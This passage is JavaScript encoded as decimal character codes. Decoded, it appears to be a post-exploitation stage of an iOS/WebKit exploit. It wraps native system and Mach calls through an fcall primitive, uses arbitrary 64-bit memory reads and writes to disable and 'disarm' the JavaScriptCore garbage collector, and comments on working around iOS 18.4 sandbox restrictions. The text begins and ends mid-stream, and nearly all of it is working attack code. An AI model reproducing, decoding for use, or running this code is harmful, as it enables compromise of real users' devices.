111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 97, 100, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 65, 68, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 119, 114, 105, 116, 101, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 87, 82, 73, 84, 69, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 109, 111, 118, 101, 40, 112, 97, 116, 104, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 77, 79, 86, 69, 44, 32, 112, 97, 116, 104, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 40, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 44, 32, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 110, 116, 108, 40, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 78, 84, 76, 44, 32, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 108, 115, 101, 101, 107, 40, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 76, 83, 69, 69, 75, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 115, 121, 110, 99, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 83, 89, 78, 67, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 40, 100, 105, 99, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 44, 32, 100, 105, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 124, 32, 40, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 60, 60, 32, 51, 50, 110, 41, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 109, 97, 112, 40, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 77, 65, 80, 44, 32, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 117, 110, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 85, 78, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 61, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 101, 110, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 47, 42, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 98, 108, 101, 109, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 71, 67, 32, 105, 115, 32, 116, 114, 105, 103, 103, 101, 114, 105, 110, 103, 44, 32, 97, 110, 100, 32, 105, 116, 32, 99, 97, 108, 108, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 45, 62, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 46, 103, 101, 116, 82, 101, 103, 105, 115, 116, 101, 114, 115, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 105, 115, 32, 98, 97, 110, 110, 101, 100, 32, 98, 121, 32, 97, 117, 116, 111, 98, 111, 120, 32, 105, 110, 32, 62, 61, 49, 56, 46, 52, 32, 119, 104, 105, 99, 104, 32, 108, 101, 97, 100, 115, 32, 116, 111, 32, 99, 114, 97, 115, 104, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 111, 108, 117, 116, 105, 111, 110, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 84, 111, 32, 119, 111, 114, 107, 32, 99, 111, 114, 114, 101, 99, 116, 108, 121, 32, 105, 110, 32, 110, 111, 106, 105, 116, 32, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 32, 71, 67, 32, 110, 101, 101, 100, 115, 32, 116, 111, 32, 115, 99, 97, 110, 32, 97, 116, 32, 108, 101, 97, 115, 116, 32, 116, 104, 101, 32, 115, 116, 97, 99, 107, 32, 111, 102, 32, 99, 117, 114, 114, 101, 110, 116, 32, 116, 104, 114, 101, 97, 100, 32, 119, 105, 116, 104, 32, 99, 97, 108, 108, 32, 116, 111, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 73, 116, 32, 100, 111, 101, 115, 110, 39, 116, 32, 105, 110, 118, 111, 108, 118, 101, 32, 99, 97, 108, 108, 105, 110, 103, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 115, 111, 32, 105, 116, 39, 115, 32, 115, 97, 102, 101, 32, 116, 111, 32, 100, 111, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 111, 105, 100, 32, 77, 97, 99, 104, 105, 110, 101, 84, 104, 114, 101, 97, 100, 115, 58, 58, 103, 97, 116, 104, 101, 114, 67, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 40, 46, 46, 46, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 40, 99, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 44, 32, 106, 105, 116, 83, 116, 117, 98, 82, 111, 117, 116, 105, 110, 101, 115, 44, 32, 99, 111, 100, 101, 66, 108, 111, 99, 107, 115, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 46, 46, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 33, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 40, 108, 111, 99, 107, 101, 114, 44, 32, 98, 117, 102, 102, 101, 114, 44, 32, 99, 97, 112, 97, 99, 105, 116, 121, 44, 32, 38, 115, 105, 122, 101, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 114, 111, 119, 66, 117, 102, 102, 101, 114, 40, 115, 105, 122, 101, 44, 32, 38, 98, 117, 102, 102, 101, 114, 44, 32, 38, 99, 97, 112, 97, 99, 105, 116, 121, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 79, 110, 32, 116, 104, 101, 32, 111, 116, 104, 101, 114, 32, 104, 97, 110, 100, 44, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 119, 105, 108, 108, 32, 116, 114, 121, 32, 116, 111, 32, 105, 116, 101, 114, 97, 116, 101, 32, 116, 104, 114, 101, 97, 100, 115, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 97, 110, 100, 32, 99, 97, 108, 108, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 101, 32, 99, 97, 110, 32, 97, 118, 111, 105, 100, 32, 105, 116, 32, 98, 121, 32, 110, 117, 108, 108, 105, 110, 103, 32, 102, 105, 114, 115, 116, 32, 109, 101, 109, 98, 101, 114, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 46, 116, 104, 114, 101, 97, 100, 115, 32, 119, 104, 105, 99, 104, 32, 112, 114, 101, 118, 101, 110, 116, 115, 32, 105, 116, 101, 114, 97, 116, 105, 111, 110, 32, 97, 110, 100, 32, 115, 116, 105, 108, 108, 32, 109, 97, 107, 101, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 114, 101, 116, 117, 114, 110, 32, 116, 114, 117, 101, 46, 10, 32, 32, 32, 32, 10, 32, 32, 32, 32, 42, 47, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 104, 101, 97, 112, 32, 43, 32, 48, 120, 49, 57, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 116, 104, 114, 101, 97, 100, 115, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 116, 104, 114, 101, 97, 100, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 48, 120, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 114, 109, 101, 100, 34, 41, 59, 10, 125, 10, 10, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 59, 10, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 58, 32, 34, 32, 43, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 46, 104, 101, 120, 40, 41, 41, 59, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 58, 32, 34, 32, 43, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 46, 104, 101, 120, 40, 41, 41, 59, 10, 10, 108, 101, 116, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 61, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 